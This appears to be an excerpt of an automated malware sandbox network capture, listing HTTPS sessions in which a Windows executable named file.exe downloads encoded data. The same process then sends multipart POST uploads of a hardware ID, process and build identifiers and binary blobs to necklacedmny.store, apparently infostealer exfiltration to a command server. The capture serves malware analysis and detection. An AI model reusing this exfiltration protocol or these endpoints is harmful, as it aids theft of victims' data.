ySHZiCU+C/ZO8XF4hmOa4MrmqHNQFD+yCuLEUqr4JbdJASm8gUq7R3q0NeokcN6SiVLpRxHgD/I+F7DWbizlRj1kPX5wqrtnrvUBm+AQvgbcxqlHIeBfkg73INI6SKUn2QGJjGGKG3eKNBXaZAAOciny/YNVgE5Gy2NDQluplDd9YE2dtdp7Q89w9WtUsG4iibL5t0Hw76IOR9DSCjh0F4mhWQzBGutXasQhfpAQv0bcxqtHwVLfcg6TQaaLXOV
2024-11-01 07:50:04 UTC	1369	IN	Data Raw: 58 6d 6c 32 57 76 32 79 2f 54 42 57 57 56 77 2f 36 4a 70 6b 6d 32 47 52 57 47 72 77 72 34 6a 52 64 5a 71 71 42 57 6e 69 5a 47 70 37 4f 45 4b 57 78 65 61 35 4a 55 36 31 4c 44 4f 6f 72 6c 53 2b 53 65 42 6b 4a 39 53 76 6d 63 77 59 30 37 4d 41 54 66 49 35 62 7a 34 49 30 70 36 70 79 76 77 39 49 36 56 68 4d 36 79 48 55 63 74 68 2f 45 67 7a 34 4b 2b 4a 79 41 43 43 68 6a 31 78 36 6c 68 53 54 79 52 53 6d 75 58 47 71 51 6c 4f 31 53 77 66 6a 49 5a 30 6d 6c 54 74 57 51 2f 73 30 72 69 78 46 46 36 47 41 58 58 79 41 57 34 69 4d 42 4f 43 2f 63 4f 38 58 46 36 5a 4e 41 2b 38 69 6c 79 6d 5a 63 51 6f 52 38 43 58 6d 63 51 6b 74 6f 6f 68 42 66 5a 6b 53 6c 4d 45 55 70 37 42 77 70 55 78 51 35 77 39 4d 36 7a 58 55 63 74 68 59 44 78 50 78 62 50 45 36 48 47 61 72 67 68 4d 6a 31 68 Data Ascii: Xml2Wv2y/TBWWVw/6Jpkm2GRWGrwr4jRdZqqBWniZGp7OEKWxea5JU61LDOorlS+SeBkJ9SvmcwY07MATfI5bz4I0p6pyvw9I6VhM6yHUcth/Egz4K+JyACChj1x6lhSTyRSmuXGqQlO1SwfjIZ0mlTtWQ/s0rixFF6GAXXyAW4iMBOC/cO8XF6ZNA+8ilymZcQoR8CXmcQktoohBfZkSlMEUp7BwpUxQ5w9M6zXUcthYDxPxbPE6HGarghMj1h
2024-11-01 07:50:04 UTC	1369	IN	Data Raw: 72 37 64 31 70 6b 74 66 70 45 45 49 36 43 71 52 4b 5a 52 77 48 77 44 7a 4b 4f 64 36 44 43 6e 73 77 42 4e 38 6a 6c 76 50 67 6a 79 37 75 33 43 69 44 30 6a 70 57 45 7a 72 49 64 52 79 32 48 63 57 42 76 77 6d 36 48 41 41 49 4b 61 4c 55 33 43 56 46 4a 50 45 47 61 2b 34 64 36 5a 4f 55 61 4a 4c 42 2b 6f 67 6c 79 79 65 4f 31 5a 44 2b 7a 53 75 4c 45 55 47 74 34 4e 66 66 4e 59 45 32 64 74 64 70 37 51 38 39 77 39 63 71 30 55 4c 37 43 43 58 49 70 31 2f 45 67 62 38 4a 50 78 38 42 53 47 2b 6e 46 4e 79 6b 78 65 55 77 68 6d 6d 73 58 71 73 53 78 66 70 41 51 76 30 62 63 78 71 74 58 63 66 4b 76 73 33 72 6d 74 4c 50 2b 79 4a 58 7a 76 4f 57 35 62 4a 46 36 2b 31 66 36 6c 4d 58 4b 4a 4c 44 65 73 6c 6d 54 69 62 64 42 63 48 2f 43 50 6f 63 67 51 70 71 6f 6c 61 65 70 34 63 31 34 78 Data Ascii: r7d1pktfpEEI6CqRKZRwHwDzKOd6DCnswBN8jlvPgjy7u3CiD0jpWEzrIdRy2HcWBvwm6HAAIKaLU3CVFJPEGa+4d6ZOUaJLB+oglyyeO1ZD+zSuLEUGt4NffNYE2dtdp7Q89w9cq0UL7CCXIp1/Egb8JPx8BSG+nFNykxeUwhmmsXqsSxfpAQv0bcxqtXcfKvs3rmtLP+yJXzvOW5bJF6+1f6lMXKJLDeslmTibdBcH/CPocgQpqolaep4c14x
2024-11-01 07:50:04 UTC	362	IN	Data Raw: 71 56 49 52 36 42 57 41 36 78 6a 31 43 58 59 49 79 46 44 39 53 76 31 5a 52 4d 72 76 49 6b 54 52 4e 68 62 6a 34 4a 46 34 49 31 2f 6f 55 46 51 73 56 42 42 79 7a 75 65 4c 59 68 38 44 77 79 38 59 71 35 79 52 58 37 2f 77 42 4e 2f 68 31 76 50 6b 6b 2f 37 37 53 2f 34 48 77 57 34 44 78 57 73 4f 39 52 79 79 6a 56 59 45 62 78 30 72 6a 4d 47 4e 4c 36 49 55 47 32 56 58 4b 6e 38 4f 72 71 31 65 72 68 65 61 5a 6c 47 46 75 45 72 67 7a 76 55 62 68 73 4e 38 69 76 34 4e 45 74 6d 6f 38 34 4c 51 74 5a 54 31 2f 31 54 34 4b 41 38 39 77 39 69 70 45 38 43 36 7a 75 46 5a 37 39 68 46 51 58 72 50 61 34 36 52 53 44 73 31 67 4d 31 31 68 2b 47 67 6b 58 77 36 69 66 36 48 41 44 33 45 78 4f 69 4e 4e 51 38 32 43 4e 4b 54 62 77 2b 72 69 78 46 59 61 2b 63 51 58 32 56 44 5a 53 46 49 35 36 57 Data Ascii: qVIR6BWA6xj1CXYIyFD9Sv1ZRMrvIkTRNhbj4JF4I1/oUFQsVBByzueLYh8Dwy8Yq5yRX7/wBN/h1vPkk/77S/4HwW4DxWsO9RyyjVYEbx0rjMGNL6IUG2VXKn8Orq1erheaZlGFuErgzvUbhsN8iv4NEtmo84LQtZT1/1T4KA89w9ipE8C6zuFZ79hFQXrPa46RSDs1gM11h+GgkXw6if6HAD3ExOiNNQ82CNKTbw+rixFYa+cQX2VDZSFI56W
2024-11-01 07:50:04 UTC	1369	IN	Data Raw: 32 32 31 32 0d 0a 36 52 73 71 58 63 58 4e 4b 71 4e 52 58 6a 52 4a 61 6e 42 43 36 32 33 64 36 35 78 61 59 6c 4d 44 65 38 6a 31 68 75 4f 64 67 67 41 2b 53 76 51 53 67 73 68 75 49 6c 64 66 5a 5a 62 32 59 49 53 34 4f 42 46 37 77 63 58 6d 41 39 4d 39 47 33 4d 61 71 31 34 46 67 33 37 4f 76 38 35 4a 6a 43 68 67 56 68 36 31 6c 58 58 78 46 33 34 36 44 4c 76 53 30 62 6e 47 56 79 2b 64 73 46 35 7a 79 74 4b 48 4c 49 31 72 6d 4a 46 66 76 37 41 45 32 6e 57 51 39 65 46 45 36 32 35 66 36 46 4d 52 62 56 48 44 2f 6f 75 30 78 53 6d 57 68 55 49 38 43 48 68 66 7a 73 59 6a 59 4e 59 64 35 73 55 6e 50 77 6a 74 62 74 79 6f 55 68 42 74 67 46 43 72 43 4c 55 63 71 45 37 55 45 50 44 59 71 35 73 52 58 37 73 75 31 42 31 6d 42 79 42 30 31 43 42 74 58 65 6a 51 6c 69 73 41 55 4b 73 4b 39 Data Ascii: 22126RsqXcXNKqNRXjRJanBC623d65xaYlMDe8j1huOdggA+SvQSgshuIldfZZb2YIS4OBF7wcXmA9M9G3Maq14Fg37Ov85JjChgVh61lXXxF346DLvS0bnGVy+dsF5zytKHLI1rmJFfv7AE2nWQ9eFE625f6FMRbVHD/ou0xSmWhUI8CHhfzsYjYNYd5sUnPwjtbtyoUhBtgFCrCLUcqE7UEPDYq5sRX7su1B1mByB01CBtXejQlisAUKsK9
2024-11-01 07:50:04 UTC	1369	IN	Data Raw: 58 7a 33 43 43 66 6c 33 46 53 43 76 73 47 31 51 6d 68 32 51 32 42 71 6d 6e 6c 7a 76 41 52 65 6f 41 56 54 56 62 64 78 71 70 7a 56 59 47 37 78 30 72 6b 45 47 4b 4b 4b 4a 52 57 72 62 50 6f 44 42 44 61 61 37 50 4f 45 50 55 65 63 5a 58 4b 4a 74 6b 44 76 59 49 30 68 52 70 33 6d 39 49 31 56 30 73 38 42 4b 4f 34 42 62 7a 35 42 54 34 4b 6f 38 39 77 38 51 70 46 4d 65 36 69 36 43 4b 64 39 46 4a 69 58 2f 50 65 52 56 43 44 61 72 73 47 31 75 6c 52 57 5a 78 51 75 78 2b 44 4c 76 51 42 66 2f 65 45 79 6b 59 5a 49 70 6a 6a 73 6e 54 62 77 30 72 69 78 46 45 36 2b 41 58 58 79 41 43 74 72 6b 48 72 47 79 58 61 4a 66 55 4f 63 50 54 4f 70 74 7a 48 6e 57 4f 78 77 53 76 48 53 2b 4a 6c 35 7a 2f 39 6b 44 4b 59 6c 56 6a 6f 49 4c 34 4f 41 75 34 51 39 46 35 78 6c 4d 71 79 36 47 4f 4a 35 Data Ascii: Xz3CCfl3FSCvsG1Qmh2Q2BqmnlzvAReoAVTVbdxqpzVYG7x0rkEGKKKJRWrbPoDBDaa7POEPUecZXKJtkDvYI0hRp3m9I1V0s8BKO4Bbz5BT4Ko89w8QpFMe6i6CKd9FJiX/PeRVCDarsG1ulRWZxQux+DLvQBf/eEykYZIpjjsnTbw0rixFE6+AXXyACtrkHrGyXaJfUOcPTOptzHnWOxwSvHS+Jl5z/9kDKYlVjoIL4OAu4Q9F5xlMqy6GOJ5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.96.3	443	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:50:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-11-01 07:50:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:50:05 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-11-01 07:50:06 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:50:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rhm74queip1n43q2prnfumdh0v; expires=Tue, 25-Feb-2025 01:36:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3eVNbGIxYIQJZxg2EsGkVaaYg6axCgnRvdR1ehK5GP2y0vAH0sWNAIDoKASOR3hxPlGn7a6QbtrUC90jA8JFx0HRA4PNPFW0SoARRbROHGxyYHrNirvQ7WBneQhTuKRBy6ovjFk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4abb3a566c38-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1056&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19132&delivery_rate=2630336&cwnd=252&unsent_bytes=0&cid=a2d02ccd7854f530&ts=1054&x=0"
2024-11-01 07:50:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:50:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.96.3	443	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:50:06 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-11-01 07:50:06 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:50:07 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4usjv7d4h0mgk7pildlsepfjji; expires=Tue, 25-Feb-2025 01:36:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=covJnfwfzXE%2FVkgNGrAWC7XekfYeIIeRH9EnYNY2gpQQOoFPUiCQuO4kBInO9f0cCKAjz8LImuvl4jPxuztnOMIowcso2tIhtDQvTM1xZVLvNwI0MnHb8qqedLf1YKnpWH6zoCo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4ac62b24345c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1192&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=2373770&cwnd=237&unsent_bytes=0&cid=1661bf6415346d06&ts=748&x=0"
2024-11-01 07:50:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:50:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.96.3	443	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:50:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-11-01 07:50:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:50:08 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-11-01 07:50:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:50:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jeqgcad4ugdkp0te1gof7iu503; expires=Tue, 25-Feb-2025 01:36:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hr4U6cAfMohtIXv2Yy9JFEeOlkziuNqH7tYYFCxFuOi1%2F9wh3fvQUk9VK2yf5aoSx%2BDyDof77zKirc3AWrWFAaGEI8xBTOk2XtCThWhfAFVki1RY%2BDkaK1%2BXpG6eLZkBrfMwQvw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4ad03a200c0f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=17&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21406&delivery_rate=2456318&cwnd=67&unsent_bytes=0&cid=51b4c9437d7d0bd3&ts=687&x=0"
2024-11-01 07:50:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:50:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.96.3	443	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:50:10 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1271 Host: necklacedmny.store
2024-11-01 07:50:10 UTC	1271	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:50:10 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:50:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mhac8i5i2m3j44lrtdqep269q5; expires=Tue, 25-Feb-2025 01:36:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5h%2F99KkLS550WYZ8xOn0T0oRQXfEmFft4AUaWvnNCkzlpGQba0HJsvtN994UGMVPEFyqNYMgWya68fIyA%2ByAOF4MvRc7dwhKTJL0IkB18KmKi4EdRqrRJiZzoWPVVI4VXYHTIRY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4ad95f836b2c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1126&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2190&delivery_rate=2529257&cwnd=251&unsent_bytes=0&cid=a095a43eb76fc862&ts=447&x=0"
2024-11-01 07:50:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:50:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.96.3	443	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:50:11 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549879 Host: necklacedmny.store
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: 0b 6a 85 9e d5 02 8d 4a 64 67 6a 47 18 c0 97 dc b8 26 76 07 66 1a 1b 5c b8 82 c3 be 26 1d 56 7d 68 05 bf 1c 4f 03 62 65 d0 86 9c f4 ca 5e bc 2f 06 c8 71 bf e1 3c 6e 7e 6a 2a 95 76 6f 32 b1 c9 ab 1c b4 ac cc 65 bd 86 35 a5 d9 df a6 0f f4 42 cb fa 09 5d 56 91 33 e0 ad 37 25 2d ea c0 cd 3f 5b 1e b3 4c c9 86 0c fd 9a 55 c9 ae 51 57 cf a6 b8 e8 4c 21 44 28 16 cf ec 3b 1c a1 df bf f8 6c de a9 5e 88 1d cb b1 cf 0c 27 80 6f e2 97 46 49 53 1b ef bc d0 fb 8c 1f db a6 59 a7 f0 af 89 10 3b 0d 45 74 ff 69 ef a7 d3 94 4c 77 57 61 37 14 85 6c 7c 2f 0b 44 2b 3f fe 49 89 0f 1d 4c 0a 4c 21 b8 d8 17 94 81 52 3b 21 6b 8b 53 eb 2a 2a 9d e7 eb 33 a6 f2 e3 55 1c ad bb 43 14 eb 6f bf 85 a5 a4 27 b7 33 62 13 60 b4 d6 5c 61 6b 4f 9a 3c 90 95 87 5d a2 a9 96 c2 eb f7 51 8c 8d 40 11 Data Ascii: jJdgjG&vf\&V}hObe^/q<n~jvo2e5B]V37%-?[LUQWL!D(;l^'oFISY;EtiLwWa7l\|/D+?ILL!R;!kS*3UCo'3b`\akO<]Q@
